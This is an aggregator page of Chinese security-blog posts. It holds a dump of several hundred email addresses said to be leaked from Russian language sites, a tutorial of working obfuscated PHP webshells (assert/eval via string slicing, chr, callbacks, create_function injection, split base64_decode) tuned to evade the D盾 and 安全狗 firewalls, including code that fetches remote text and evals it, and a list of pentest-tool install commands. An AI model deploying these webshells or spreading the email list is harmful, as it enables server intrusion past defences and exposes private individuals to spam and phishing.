Quantcast
Channel: 🔰雨苁ℒ🔰
Viewing all 323 articles
Browse latest View live

俄罗斯网站邮箱泄露 leaks email rusia

$
0
0

俄罗斯网站邮箱泄露 leaks email rusia
泄露网站如下 leaks email rusia
http://www.studygerman.ru
http://www.studyfrench.ru/
http://www.studyitalian.ru/
http://www.studylingua.ru/
http://www.studyspanish.ru/

kanzas@open.by
Kochetkowanadja@mail.ru
NANI.70@ MAIL.RU
19-dian.0789@mail.ru
3avarka@gmail.com
a.gordeeva@mail.ru
aizat91-love3@mail.ru
amati86@mail.ru
andvina@yahoo.com
anna-lishhuk@rambler.ru
apelsinlenina@mail.ru
artur.goncharov@pochta.ru
arytynian94@mail.ru
asya-graf@mail.ru
avallone19@mail.ru
AvramenkoNAU_FHW@mail.ru
ayzo87_06@mail.ru
barbashina@inbox.ru
bulo4kasizumom@list.ru
buschar@mail.ru
Carptija54@mail.ru
chikijimo@mail.ru
danilchen@mail.ru
darnicko@yandex.ru
dauera@rambler.ru
degnata85@mail.ru
dikerola@list.ru
dukvaha95@mail.ru
dvas72@mail.ru
eiforiarlk@mail.ru
ellena_07@list.ru
elvira-baumann94@mail.ru
eminence@mail.ru
entrevista@mail.ru
fed-angelina@yandex.ru
feodosy@yandex.ru
firuzajka@ inbox.ru
fkhavrich@mail.ru
gps_elena@yahoo.com
graf_tuduk@mail.ru
gulzat1208@mail.ru
hu-lja@mail.ru
info_olga_70@mail.ru
innusa22@mail.ru
issuell@mail.ru
IULYA.AFANASJEWA@YNDEX.RU
koshataya@mail.ru
ksyuscha-92@yandex.ru
kuranovasv@yandex.ru
kuzmenko@msn.com
kzalesski@gmail.com
lackermaul@mail.ru
lektor_md@mail.ru
lenok141488@mail.ru
leolya@gmail.com
Liebe73@mail.ru
little_tigerrr@mail.ru
marija.ru85@mail.ru
marina9811@mail.ru
mazanij19@inbox.lv
melenkamgn@rambler.ru
metaladorer@mail.ru
mysmile777@yandex.ru
natakem@rambler.ru
nuriza86-87@mail.ru
o.kubatko@mail.ru
okssun@yandex.ru
olessja@live.ru
olga-isis@mail.ru
ovchinnik-ole@mail.ru
oxana.nikolaevitch@yandex.ru
pervinbabayev@gmail.com
polina.chuzhaikina@rambler.ru
rimma_c@mail.ru
salgir75@rambler.ru@
salgir75@ramler.ru
samarcheva09@mail.ru
sandra_shumko@mail.ru
sawdust74@yandex.ru
schatznes@gmail.com
Scream8248@mail.ru
shtorm095@bk.ru
slonjuk@rambler.ru
sonina777@ukr.net
StarkRV2009@live.de
StenukovS@mail.ru
svetlana.shustova@gmail.com
svetlana_kaisina@miail.ru
svetlanova2008@yandex.ru
swetlana@nm.ru
s_orekhova@mail.ru
tak004@rambler.ru
tanyshka2396@mail.ru
udaffka10@mail.ru
vadim-gereev@rambler.ru
valeria-dokukina@rambler.ru
venila@mail.ru
vgoryachke@mail.ru
vitysj.28@mail.ru
wadimtm@bigmir.net
walerik.la.06@inbox.ru
wswrfwswrf@mail.ru
www777-10@mail.ru
w_e_a@mail.ru
zhdashechka@mail.ru
zheka0888@mail.ru
a.v.zhuravleva@yandex.ru
18A04@mail.ru
1@1
1@mail.ru
408control@rambler.ru
444@mail.ru
585486@22739
5olya55@mail.ru
79262006127@megawap.ru
89086747026@mail.ru
89265266226@mail.ru
9208561500@mail.ru
@aida-95@list.ru
@andriyanova_92@mail.ru
@arai_mail.ru
@darya0707
@gmail.ru
@katya.65@mail.ru
@larisa ramenskova.ru
@mail.ru
@marial93@rambler.ru
@nina. melnik2010
@Novakanna2008@yandex.ru
@olgabulg
@pogorelov-ilja0rambler@mail.ru
@sanya.ru
@yandex.ru
@yuliya-ast@yandex.ru
@�����
@���
@�
@���
a.pinchuk@inbox.ru
a20062@yandex.ru
aaile.lala@mail.ru
abraham_7@mail.ru
abramovakseni@gmail.com
adai_is@mail.ru
adasani23@yandex.ru
adda4ka@yandex.ru
adelya549@mail.ru
adizbek.18@mail.ru
adn123@list.ru
adrelaxen@gmail.com
aevt@mail.ru
affaires04@gmail.com
agatacristy2334@mail.ru
ageenko_yulia@mail.ru
aibolnus_90@mail.ru
aigerima_95955@mail.ru
aigerim_erzhan94@mail.ru
aigerim_love@mail.ru
aigulasan@yandex.ru
aijan90.29@mail.ru
akb12@list.ru
akilme@mail.ru
akirianenko@acceur.com
Albina-didi@yandex.ru
albinka_ang@mail.ru
aleksandra.smi@gmail.com
aleksandrmimrikov@yandex.ru
alen4ik162@rambler.ru
alena580@mail.ru
aleshinaanna@yahoo.com
alex-law@mail.ru
alexandre.rylov@renault.com
alexandroova@gmail.com
alexzhukow@mail.ru
Alfia2578@rambler.ru
alina-kuzmenko@bk.ru
alisha-klass@yandex.ru
alis_k@mail.ru
aliusha2009@mail.ru
alla-a@mail.ru
alloalena87@mail.ru
almira_urazaeva@list.ru
alsounka-ne@mail.ru
AlternA16@spaces.ru
altus4a@mail.ru
alwaysnoonday@mail.ru
alya.valieva@mail.ru
alzagorodnev@gmail.com
am261980@gmail.com
Amalya.94@mail.ru
ambassador007@mail.ru
amel-07@mail.ru
ami.ru@mail.ru
amidi@list.ru
amor007@mail.ru
ANA-KRUGLOVA@yandex.ru
anacher22@inbox.ru
anactasia90vip1@rambler.ru
anasarsia2010@yandex.ru
anashkina_irina@mail.ru
anastasiya47@mail.ru
Anastasiya892007@yandex.ru
Anders76@yandex.ru
andima@mal.ru
andrelukalora@gmail.com
androgyn@rambler.ru
andrroman@yandex.ru
anet567150@mail.ru
anetta-88@yandex.ru
angel-la323@mail.ru
angelmonsun@mail.ru
angel_pure@mail.ru
angierealstyle@mail.ru
ani8882008@yandex.ru
aniana@mail.ru
anicoolgirl@mail.ru
anisa1992@mail.ru
anitamoscow@mail.ru
anjella_guess@mail.ru
anka01@yandex.ru
anlara18@mail.ru
Ann..Rom@mail.ru
Anna@mail.ru
annanazentseva@gmail.com
annapas@mail.ru
Anton.luxus@gmail.com
AntonetsJ@rambler.ru
anuta144@mail.ru
anuta_russia_13@yahoo.com
anutik88.88@mail.ru
anutka153@rambler.ru
anutka203@mail.ru
anzhelalsh@tut.by
aprilmax@inbox.ru
apus_apus@pochta.ru
ar-stepanoff@yandex.ru
arev-shakhyan@mail.ru
arev328@mail.ru
arkaik@yandex.ru
arsho1985@mail.ru
art194_92@mail.ru
arthlip@mail.ru
arthurhulkh@gmail.com
arutyunova.v@yandex.ru
asdasd@asdasd.dsf
asenk@ya.ru
assyl-83@mail.ru
astaf-nad@mail.ru
astroniks@tut.by
atanur19@inbox.ru
atlantavera@gmail.com
ATyrlov@mail.ru
auburn-lynx@mail.ru
autumn_boom@mail.ru
avarija_88@mail.ru
aynvar@mail.ru
azizz1992@list.ru
azucena85@mail.ru
a_arshyn@mail.ru
a_mikhailova@mail.ru
b879451m@mail.ru
babkova.ira@yandex.ru
bacsojin@yandex.ru
Baira94@gmail.com
bairmusha@mail.ru
balmochnovams@mail.ru
bayadjan@mail.ru
bazheva_v@mail.ru
beauregarde@yandex.ru
beauty8484@mail.ru
berezyanaya@ssnab.ru
berka@amik.ru
berrill5@mail.ru
bezdr@yandex.ru
bit-iako@yandex.ru
bk3.1994@mail.ru
bla-olga@yandex.ru
blondino4ka2009@ukr.net
bmw-x5555@mail.ru
bodom133@mail.ru
bogdanov@amik.ru
boka7771@rambler.ru
bomba@mail.ru
boost70@mail.ru
boyko@promco.ru
bravealex@rambler.ru
bsa_ru@mail.ru
bublik-k89@yandex.ru
budd_ha@inbox.ru
cajl@yandex.ru
camiteche@rambler.ru
candy39@list.ru
canweed@ukr.net
cat0475@rambler.ru
cat28.88@mail.ru
cd-u@mail.ru
charitova-87@mail.ru
chelny.marat@gmail.com
cherchill82@mail.ru
chertjaka@bk.ru
chihareva_ma@mail.ru
child_of_love888@mail.ru
chinadan@rambler.ru
chugada1984@mail.ru
ChuvashovaAnn@mail.ru
chuzhba@gmail.com
colonel.var@mail.ru
cortes40@gmail.com
crystaltoy@mail.ru
cybulja@mail.ru
da-ri-noch-ka
Danechka_86@mail.ru
danilova1805@mail.ru
Danna59@mail.ru
dano4ka_kz_93@mail.ru
danshina@beeline.ru
darinad@mail.ru
Darkamart@yandex.ru
Darla94@ukr.net
darya-komarova@yandex.ru
Daryazerkalova@rambler.ru
dashatkachuk1@gmail.com
dashuna@bk.ru
dashusik483@mail.ru
daskovskaja@gmail.com
dato-chabradze@mail.ru
daugish@inbox.lv
DDavo@inbox.ru
dddddenis@yandex.ru
deleske@mail.ru
delphina_star@tut.by
denis.sh07@mail.ru
denis6517@yandex.ru
denisva1980@mail.ru
devochk95@mail.ru
di.stepowaya@yandex.ru
diana605@yandex.ru
dianarogushina@verizon.net
dihosh@mail.ru
dima-manager@ya.ru
dimaandhelga@mail.ru
diman_z@hotmail.com
Dimon2404@yandex.ru
dina110@rambler.ru
dlyraboty@tut.by
Dmitriev.76@mail.ru
dollmoll@mail.ru
doncha_94@mail.ru
donna@ufanet.ru
Doszhan92@bk.ru
dr.olga@inbox.ru
drive1411@mail.ru
drug68@list.ru
drv@select.ru
DVBulantsev@gmail.com
E.Emelyanova@gmail.com
E.terekhina@mail.ru
Edwardnorth@mail.ru
egorova.vvs@yandex.ru
egribo@gmail.com
eka222008@yandex.ru
ekaterina.bildina@gmail.com
ekaterina.yaemurd@gmail.com
ekaterina75@yandex.ru
ekaterina_7@inbox.ru
ekikot@bkc.ru
Elena.Pasechnaya@mdmbank.com
elenaivanova92@mail.ru
elenajl7@mail.ru
elenazvd@mail.ru
elena_samsonova@bk.ru
elen_love@inbox.ru
eleonor.sh@gmail.com
elfolas@bk.ru
elfy@vlzdom.ru
elimy@mail.ru
elizabetharm@mail.ru
elizabetty@mail.ru
elizaveta7777@ya.ru
elka_88_88@mail.ru
ellastatnic@mail.ru
elmira.enalieva@yandex.ru
elpri@rambler.ru
elyasova.olga@yandex.ru
elzeta@rambler.ru
emma40@yandex.ru
emst@inbox.ru
enni-2403@mail.ru
epov72@mail.ru
eprosto0@gmail.com
Era_86@list.ru
eria_iriska@mail.ru
ermek-nurbaev@yandex.ru
eronova_daria@mail.ru
eroshin@bk.ru
eryamova@mail.ru
eshilina@bk.ru
eskalibyr@mail.ru
evalya@yandex.ru
evelinamak@yandex.ru
EVGESOLOMINA@YANDEX.RU
extra_irusya@mail.ru
Family@mail.ru
fanbill@mail.ru
fancyman@list.ru
fantazi_15@rambler.ru
farida1979@mail.ru
fedorovuri@yandex.ru
ffff@mail.ru
fika013@rambler.ru
findiperz@iukr.net
fire06@list.ru
fishka_2003@bk.ru
fly.high@hotmail.com
fn37@list.ru
forletters@front.ru
fox1075@rambler.ru
friendik@yandex.ru
Fristayl@list.ru
frolkaaa@mail.ru
frunor@rambler.ru
Gahhd@mail.ru
galaxi2511@gmail.com
garkavayair@rambler.ru
gavrikovma@sibintek.ru
gazis89@mail.ru
gbelova@maxus.ru
generation13@tut.by
genius27@list.ru
genpash@mail.ru
geodakyan@mail.ru
gex_9@mail.ru
girlkam@rambler.ru
gkrainova@yandex.ru
glace13@mail.ru
glamourgirl2@bigmir.net
glamur96@mail.ru
gmmaxx@gmail.com
gmulka@mail.ru
godofcomputers@mail.ru
GOMER-151@yandex.ru
gosya2@mail.ru
gotzeblues@bigmir.net
grishabaranov@piter.ru
Gubiliya@mail.ru
gula2006@bk.ru
gulzar_80@mail.ru
gulzhanberd_88@mail.ru
guns24@mail.ru
guzi-18.11.87@mail.ru
gyujnb@yandex.ru
G_MUSTAFAEVA@BOX.AZ
halorest@ukr.net
hapatulka@mail.ru
happysoul15555@yandex.ru
happy_ann@bk.ru
harisova_nuriya@list.ru
hdgjf@.ru
helenbern@gmail.com
helen_206@mail.ru
helen_mrt@rambler.ru
hell_paradise666@mail.ru
hoholzenya@mail.ru
hohr.86@mail.ru
humming-birdfly@mail.ru
husainovarena@gmail.com
hypermaria@narod.ru
i.i.bobrovnikova@mail.ru
i.zueva@ land.ru
ibrahim2304@mail.ru
ierofeeva@gmail.com
igor.schestakoff@yandex.ru
igorbat222@mail.ru
igordodonov@mail.ru
ILMIRA _OSPANOVA@MAIL.RU
inattuabile@bk.ru
inthechips@mail.ru
ioanna.spb@mail
iouliapro@rambler.ru
iouri@list.ru
iplusb@mail.ru
ira.nazarova@gmail.com
iraizilova@yandex.ru
irina-berseneva@list.ru
irina.kogan@gmx.net
irina.lily@gmail.com
irinacarov2008@yandex.ru
Irinagorov@gmail.com
irinamesch@mail.ru
irinasalim@rambler.ru
Irina_it@hotmail.com
ismailovaaas@mail.ru
itilien_89@mail.ru
ivanhaykovyy@gmail.com
ivanovatatiana18@mail.ru
ivantr@gmail.com
Ivrin_29@mail.ru
i_shumova@mail.ru
jack.com@inbox.ru
jagdajhsg@risoi.com
jaisel@mail.ru
janna_hamina@mail.ru
jarikova@gmail.com
jentee@yandex.ru
jenyadizelek@mail.ru
joelelangovan@gmail.com
jud.7@hotmail.com
juliasubbota09@mail.ru
julia_uta@mail.ru
junglie@mail.ru
justspicy@mail.ru
k1ssa@mail.ru
kamichevaeb@mail.ru
kamissarova2010@mail.ru
kanasii@yandex.ru
kannef@mail.ru
kanysh_osh@mail.ru
kaplun77anton@mail.ru
kaprisX2006@rambler.ru
kar-985@rambler.ru
kartman92@bk.ru
kartt2011@yandex.ru
kashurkina@mail.ru
katerina.s.s@mail.ru
katirina200705@mail.ru
Katrine20@rambler.ru
katrin_s_@rambler.ru
katushka5588@yandex.ru
katya_aen@mail.ru
kazachka2004@mail.ru
kaznachei@yandex.ru
Kedemel@freemail.ru
keizo@ya.ru
kemuri07@mail.ru
kendra2007@yandex.ru
Kerasyuk@yandex.ru
ketevan.b@gmail.com
keti92@mail.ru
khalfina.diana@yandex.ru
ki-01@mail.ru
Kiara717@mail.ru
kirsanova_n@mail.ru
kishu07@mail.ru
klemmentina@inbox.ru
klyubenko@gmail.com
koks.16@mail.ru
koledenkova@bpc.ru
komirina@hotmail.com
konovalovata@mail.ru
konovchenkos@mail.ru
kopalina93@mail.ru
koshak-87@mail.ru
koshka_7777@mail.ru
kotenok87@meta.ua
kotova.sky@gmail.com
kovolnik@yandex.ru
KPS84 @mail.ru
kremerelena@mail.ru
krist.bondareva@gmail.com
kristinka152008@rambler.ru
krokozyabra88@mail.ru
krylova_rita@mail.ru
krylovkirill@mail.ru
kse689@mail.ru
ksu-chuka@mail.ru
kuchermanka@bk.ru
kudaeva_karina@mail.ru
kuklina-oksana@mail.ru
kulikova_el@mail.ru
kumov@bk.ru
kupovetss@list.ru
kuznetsova_my@mail.ru
kvant77@bk.ru
kylesh-ka@rambler.ru
kyrgyzuvelikie@mail.ru
kyrka@yandex.ru
k_elena-06@mail.ru
l.kristina.v@gmail.com
lady.mol4anova2010@yandex.ru
Laera@list.ru
lana060876@mail.ru
lance-lotta@mail.ru
laromana@mail.ru
lasto4ka4@mail.ru
laura-88.kz@inbox.ru
lector-hannibal@rambler.ru
leejulia@mail.ru
Leka-91@inbox.ru
lekadan@yandex.ru
lekas_@mail.ru
lemmingli@hotmail.com
lena26080@rambler.ru
lenanw@mail.ru
lencho6688@rambler.ru
lenka.potapova@gmail.com
lenysakrasotysa@mail.ru
leoparditsa@list.ru
lerchik-tretyakova@yandex.ru
lesistrata@bk.ru
lExO@list.ru
lezgin-xanov@mail.ru
licichca@mail.ru
lidia.gorchakova@unicreditgroup.ru
lidiasvn@gmail.com
LILI8558@mail.ru
liliana_one@mail.ru
lilichka704@rambler.ru
Liliya1407@rambler.ru
lilya-isaenko@yandex.ru
Lina_NSC@mail.ru
lisena1818@mail.ru
lissmaxx@yandex.ru
lisspark@gmail.com

此文章来源于
https://www.ddosi.com/2017/11/04/leaks-email-rusia/
2018年以前网站服务器的备份,当时决定不要了,删了所有东西,现在还原一下(有些图片挂了,永远找不回来了,sorry)


对于Php Shell Bypass思路总结

$
0
0

对于Php Shell Bypass思路总结

Prat 0 自白
Prat 1 起源
Prat 2 一句话Bypass
         思路一:字符串截取+回调
                  思路小结
         思路二:字符串截取(变种)+回调
                  思路小节
         思路三:chr()+小写转换+回调(变种)
                  思路小结
         思路四:create_function函数
                  思路小结
         思路五:函数回调
                  array_map()
                  call_user_func_array()
                  call_user_func()
                  register_shutdown_function()
                  思路小结
最后总结
Prat 3 Php大马Bypass
         思路1:base64函数分割+大小写
         思路2:fopen函数以及php_curl函数
                  fopen()
                  php_curl()

Prat 0 自白

在初入Web渗透测试的时候,发现Waf如同无法跨过的鸿沟,每一次学习就是对鸿沟的填充。

借用某大牛对曾经年少的自己说的一句话:

自己真正学到的才是自己的财富!只是一味的盗版,不懂得学习的那叫小学生!

自己新成立了一个团队,名为OneT挺开心的,觉得放出一些自己的学习经验跟想法是及其不错的。

本文文字偏多,如果你潜心看完,相信一句话bypass,对你来说根本不是什么难事。

本文通过三部分来写:起源,一句话Bypass, Php大马Bypass

因为Bypass安全狗可以说是非常简单的,所以本文主要目标以D盾作为绕过基础。

顺便一提:本文中的某个思路或许已经被公布,但是我阅历比较少,并不知道,如果有重复的,可以提出来,贴上地址~

我自己公布的就算了,毕竟这是一篇总结与扩展。

Prat 1 起源

1:建立一个明确的目标

一句话原型:代码执行函数(参数接收);

所以我们不管怎么处理,怎么去优化,最后的代码让他变成原型就可以了。

在学习bypass之前,我建议去了解一下php,这是bypass的开端。

2:大胆的想法

有了目标肯定是远远不够的,不能局限前人的思路,要有自己开阔的思路,可以从前人的思路变种,也可以自己思考。

3:实现自己的目标跟想法

既然以及了解了自己的目标,那么就该一步步的实现它,例如这个函数被查杀了,那么换一个函数呢?换一个函数不行那么换一个写法呢?条条大路通罗马,总有一个是可以的。

Prat 2 一句话Bypass

Php Shell Bypass

D盾当时行为库:


首先看一句话原型:

assert($_GET[zxsq-anti-bbcode-‘x’]);

思路一:字符串截取+回调

首先看一下介绍

>Substr() //返回字符串的一部分

>Array_map() //将函数作用到数组中的每个值上,每个值都乘以本身,并返回带有新值的数组

这个思路其实在博客当中就有提过,不过是不过D盾的

<?php
         $a = substr("abcdefghijklmnopqrstufwxyz",0,1);
         $b = substr("abcdefghijklmnopqrstufwxyz",17,3);
         $c = substr("abcdefghijklmnopqrstufwxyz",3,2);
         $ss = $a.$b.$c;
         $d  = $ss[zxsq-anti-bbcode-0].$ss[zxsq-anti-bbcode-2].$ss[zxsq-anti-bbcode-2]; //ass
         $dd = $ss[zxsq-anti-bbcode-5].$ss[zxsq-anti-bbcode-1].$ss[zxsq-anti-bbcode-3]; //ert
         $x = $d.$dd;
$x($_POST[zxsq-anti-bbcode-'x']);
?>

首先看思路原型:

>$a = a     //从字符串的第0个字符开始截取,向右截取1个字符

$b = rst   //从字符串的第17个字符开始截取,向右截取3个字符

$c = de           //从字符串的第17个字符开始截取,向右截取3个字符

>$ss = arstde //为三个变量的拼接的来

那么过程就很好理解:

>$d = ass   //分别截取$ss的第0,2,2字符

$dd = ert  //分别截取$ss的第5,1,3字符

最后拼接成assert

Php Shell Bypass

但是这样只能过狗,不能过D盾



之前就已经说了,这思路行不通,那么在原有的思路在扩展一下呢?

我们来把substr函数返回的assert封装成新的方法,在调用看看效果如何

function test($D)   //定义一个名为test的函数,并使用$D接收参数
{
         $a = substr("abcdefghijklmnopqrstufwxyz",0,1);
         $b = substr("abcdefghijklmnopqrstufwxyz",17,3);
         $c = substr("abcdefghijklmnopqrstufwxyz",3,2);
         $ss = $a.$b.$c;
         $d  = $ss[zxsq-anti-bbcode-0].$ss[zxsq-anti-bbcode-2].$ss[zxsq-anti-bbcode-2]; //ass
         $dd = $ss[zxsq-anti-bbcode-5].$ss[zxsq-anti-bbcode-1].$ss[zxsq-anti-bbcode-3]; //ert
         $x = $d.$dd;
         $x($D);   //assert执行接收的参数
}
test($_GET[zxsq-anti-bbcode-'x']);  //assert($_GET[zxsq-anti-bbcode-‘x’]);
Php Shell Bypass



虽然还是被杀,不过发现级别已经降低为二级了,他现在杀的只不过是变量而已,也就是

$x($D);

为什么杀呢?因为D盾中不允许这样做,不管你有没有危害都会拦截





可以看见,我里面$d($dd);什么都没有,但是他还是报二级了。

接下来怎么处理呢?还是从原来思路上扩展,既然不允许那就换一个思路,我们采用回调

function test($aa)
{
         $a = substr("abcdefghijklmnopqrstufwxyz",0,1);
         $b = substr("abcdefghijklmnopqrstufwxyz",17,3);
         $c = substr("abcdefghijklmnopqrstufwxyz",3,2);
         $ss = $a.$b.$c;
         $d  = $ss[zxsq-anti-bbcode-0].$ss[zxsq-anti-bbcode-2].$ss[zxsq-anti-bbcode-2]; //ass
         $dd = $ss[zxsq-anti-bbcode-5].$ss[zxsq-anti-bbcode-1].$ss[zxsq-anti-bbcode-3]; //ert
         $x = $d.$dd;
         return $x;   //返回assert
}
$test = test();    //把test()函数存入test变量中
array_map($test,array($_GET[zxsq-anti-bbcode-'x']));  //array_map函数回调
Php Shell Bypass

但是发现D盾还是报二级了。



不过这次报的就很好处理了,可以看见,他报的array_map参数里面的东西很可疑,可疑

其实有个很好的办法解决,那就是加个赋值,例如:

array_map($test,array($_GET[zxsq-anti-bbcode-‘x’]));我们改为array_map($DD =$test,$d = array($_GET[zxsq-anti-bbcode-‘x’]));

我们在测一下

Php Shell Bypass


还是报二级,不过别着急,我们把array($_GET[zxsq-anti-bbcode-‘x’])先拿出来进行一个赋值在里面在一个赋值

看看会怎么样。

Php Shell Bypass





可以发现D盾出奇的不拦截了。

Php Shell Bypass




可以正常使用。

思路小结

在字符串返回思路行不通后,可以使用回调来进行一个绕过,在函数里面赋值可以用来解决许多可疑变量。

思路二:字符串截取(变种)+回调

这次思路其实属于换汤不换药。

写之前首先我们要熟悉一下Ascii码表

Php Shell Bypass





我们不需要知道这么多,够我们用的就好

> 97  =  a

115  =  s

101 = e

114 = r

116 = t

我们可以写的风骚一点

$a = chr(substr("97115101114116",0,2));
$b = chr(substr("97115101114116",2,3));
$c = chr(substr("97115101114116",2,3));
$d = chr(substr("97115101114116",5,3));
$e = chr(substr("97115101114116",8,3));
$f = chr(substr("97115101114116",11,3));
$x = $a.$b.$c.$d.$e.$f;
$x($_GET[zxsq-anti-bbcode-'x']);

这样当然是不会过D盾的,不过安全狗肯定可以过的。

我们可以依葫芦画瓢用回调来处理。

最终成果:

<?php
function test($aa)
{
                $a = chr(substr("97115101114116",0,2));
                $b = chr(substr("97115101114116",2,3));
                $c = chr(substr("97115101114116",2,3));
                $d = chr(substr("97115101114116",5,3));
                $e = chr(substr("97115101114116",8,3));
                $f = chr(substr("97115101114116",11,3));
                $x = $a.$b.$c.$d.$e.$f;
                return $x;
}
$test = test();
$ddd =array($_GET[zxsq-anti-bbcode-'x']);
array_map($D = $test,$DD = $ddd );
?>
Php Shell Bypass



可以正常使用,并且过了D盾。

当然,我们可以写的更简单一点。

<?php
function test($aa)
{
$a =  chr(97).chr(115).chr(115).chr(101).chr(114).chr(116);
return $a;
}
$test = test();
$ddd =array($_GET[zxsq-anti-bbcode-'x']);
array_map($D = $test,$DD = $ddd );
?>

连截取都不要了,但是一样可以正常使用,并且过了D盾。


Php Shell Bypass

思路小节

整个过程就跟思路一一摸一样,只不过思路一是直接返回的字符,而这边却加了一层chr而已。

所以可以被称之为变种,换汤不换药。

思路三:chr()+小写转换+回调(变种)

看完思路二,发现还可以根据chr再次扩展。

<?php
/*
97  =  a    65        =        A
115 =  s        83        =        S
101 =  e        69        =        E
114 =  r        82        =        R
116 =  t        84        =        T
*/
                $a = chr(65).chr(83).chr(83);//ASS
                $b = chr(69).chr(82).chr(84);//ERT
                $c = strtolower($a.$b);//assert
                $aa = array($_GET[zxsq-anti-bbcode-'x']);
                array_map($D = $c,$DD = $aa );
//strtolower(): 该函数将传入的字符串参数所有的字符都转换成小写,并以小定形式放回这个字
//strtoupper(): 该函数的作用同strtolower函数相反,是将传入的字符参数的字符全部转换成大
?>

还是换汤不换药,不过用了大写的Ascii码。

然后使用strtolower函数转换成小写。


Php Shell Bypass

思路小结

你可以发现,我是一环环变种的,思路三变种思路二,思路二变种思路一。

可能有人会问我为什么要写变种,其实你可以侧面的理解为,我这是在告诉你:一种思路你可以通过千变万化的思路来扩展。

思路四:create_function函数

看完简单的思路,我们来看一下深一点的思路。

array_flip()//用于反转/交换数组中所有的键名以及它们关联的键值,如果反转成功,则返回反转后的数组。如果失败,则返回 NULL。

首先我们要了解一下create_function函数是如何进行代码注入的(因为这不是本文需要讲的东西,大家可以上百度搜。)

<?php
$a=array(";}$_GET[zxsq-anti-bbcode-x];/*"=>"1");
$b=array_flip($a);
$c = $b[zxsq-anti-bbcode-1];
create_function('$args',$c); 
?>

具体我就不讲了,等你百度完也就差不多知道思路了。

思路小结

有时候可以借着php中一些能做代码执行的函数进行处理就能琢磨出来一大堆Bypass。


Php Shell Bypass

思路五:函数回调

之前几种思路都有触及到函数回调,于是决定独立分一波来讲。

array_map()

function a(){
         return 'assert';
}
$a=a();
$aa = array($_GET[zxsq-anti-bbcode-'x']);
array_map($a,$a=$aa);

array_map函数我就不过多的说了,毕竟前面也用到了许多。

call_user_func_array()

function a(){
         return 'assert';
}
$a=a();
$aa = array($_GET[zxsq-anti-bbcode-'x']);
call_user_func_array($a,$a=$aa);

call_user_func_array可以说作用性跟array_map差不多,不过还是有一些不同。

call_user_func()

function a(){
         return 'assert';
}
$a=a();
$aa=$_GET[zxsq-anti-bbcode-'x'];
call_user_func($a,$a=$aa);

用P牛博客上的一句话来说这算是回调后门的老祖宗了。

register_shutdown_function()

$aa=$_GET[zxsq-anti-bbcode-'x'];
register_shutdown_function('assert',$a=$aa);

这个函数其实我也不是很明确,从p牛上看到的,不过博客上的一句话已经不能用了,偷下来做了下处理

思路小结

其实原理都差不多,如果你看不懂,没关系,去看一遍php,回来你就会发现这些是多么的简单,单单一个函数回调就能构造无数轮子。

丢上P牛讲解回调函数轮子的地址

最后总结

一句话的思路千变万化,一个函数可以扩展无数思路。

你只需要大胆的假设,然后大胆的去做就可以了。

Prat 3 Php大马Bypass

思路1:base64函数分割+大小写

其实这个思路在上篇bypass文章我就已经做好了铺垫,因为是通用性,所以藏着到这篇文章来发。

<?php
$a = 'base64编码过后';
$c = base64_decode($a);
eval($d = $c);
?>

可以发现,这样D盾是报二级的。所以我们可以稍微处理下。

$x="BaSe64";
$b="_deCOde";
$c=$x.$b; //base64_decode
eval($d = $c('base64编码过后'));

明眼人就可以发现,其实我并没有改变多少代码,只是把Base64函数进行分割,然后大小写而已。

从而达到了过D盾的效果。如果没有进行大小写的话是被报二级的。

我想这应该是waf的缺陷导致bypass的原因。

Php Shell Bypass

思路2:fopen函数以及php_curl函数

fopen()

fopen在之前的文章也有提到过,不过太长,我这里简化一下。

$handle = fopen('http://127.0.0.1/bh/test.txt', 'r');
    $content = '';
    while(false != ($a = fread($handle, 8080))){
        $content .= $a;
    }
                print(eval($a=$content));
fclose($handle);

php_curl()

其实跟fopen函数差不多,不过需要开启特定的函数,有人提过fopen似乎也要,不过在我仅有的shell中我并没发现出错。

因为都差不多,所以我这里也就不详细说了。提一下就好。例子等有机会再写。

总结

用之前的话来说,条条大路通罗马,需要的只是耐心。

需要的只是大胆的假设,需要的只是实践的行动。

话不多说,明白就好。

或许文章看着并不长,案例也不多,也就十几个。

不过我希望看完这篇文章能开启你bypass之路的大门。

也能让你明白bypass并不是很困难。

当然,如果用心读的话(一边动手一边学习)。

此文章来源于
https://www.ddosi.com/2017/11/13/bypass/
2018年以前网站服务器的备份,当时决定不要了,删了所有东西,现在还原一下(有些图片挂了,永远找不回来了,sorry)from

macOS上的渗透测试工具

$
0
0

macOS上的渗透测试工具
这些工具是运行在macOS 和 Linux上的

macOS 特别提醒

下面这些工具不能在macOS上运行

  • enum4linux – depends on rpcclient, net, nmblookup, smbclient which are tools included with Samba and not found on macOS
  • libnl – depends on specific functionality contained only within the Linux kernel
  • aircrack-ng – depends on libnl (see above)
  • wifite – depends on aircrack-ng (see above)
  • nfsshell – depends on specific functionality contained within the glibc library
  • frogger – depends on the Linux vconfig tool
  • mitmf – a python dependency depends on specific functionality found only within the Linux kernel

Ubuntu 特别提醒

下面的依赖性需要安装在Ubuntu系统上

sudo apt install build-essential curl git libpcap-dev python-setuptools python-dev

macOS上的渗透测试工具

信息收集工具

工具名称安装命令
CeWLbrew install sidaf/pentest/cewl
dirbbrew install sidaf/pentest/dirb
dnsreconbrew install sidaf/pentest/dnsrecon
enum4linuxbrew install sidaf/pentest/enum4linux
gobusterbrew install sidaf/pentest/gobuster
netdiscoverbrew install sidaf/pentest/netdiscover
polenumbrew install sidaf/pentest/polenum
praedabrew install sidaf/pentest/praeda
recon-ngbrew install sidaf/pentest/recon-ng
ridenumbrew install sidaf/pentest/ridenum
Scrape-DNSbrew install sidaf/pentest/scrape_dns
SimplyEmailbrew install sidaf/pentest/simply_email
snmpcheckbrew install sidaf/pentest/snmpcheck
theHarvesterbrew install sidaf/pentest/the_harvester
wafw00fbrew install sidaf/pentest/wafw00f
whatwebbrew install sidaf/pentest/whatweb
wigbrew install sidaf/pentest/wig

漏洞分析工具

工具名称安装命令
aircrack-ngbrew install sidaf/pentest/aircrack-ng
ikeforcebrew install sidaf/pentest/ikeforce
ikerbrew install sidaf/pentest/iker
header-checkbrew install sidaf/pentest/header_check
nfsshellbrew install sidaf/pentest/nfsshell
nopcbrew install sidaf/pentest/nopc
rdp-sec-checkbrew install sidaf/pentest/rdp-sec-check
serializekillerbrew install sidaf/pentest/serializekiller
sslscanbrew install sidaf/pentest/sslscan-static
ssl-cipher-suite-enumbrew install sidaf/pentest/ssl-cipher-suite-enum
testsslbrew install sidaf/pentest/testssl-static
vFeedbrew install sidaf/pentest/vfeed
wfuzzbrew install sidaf/pentest/wfuzz
windows-exploit-suggesterbrew install sidaf/pentest/windows-exploit-suggester
wpscanbrew install sidaf/pentest/wpscan
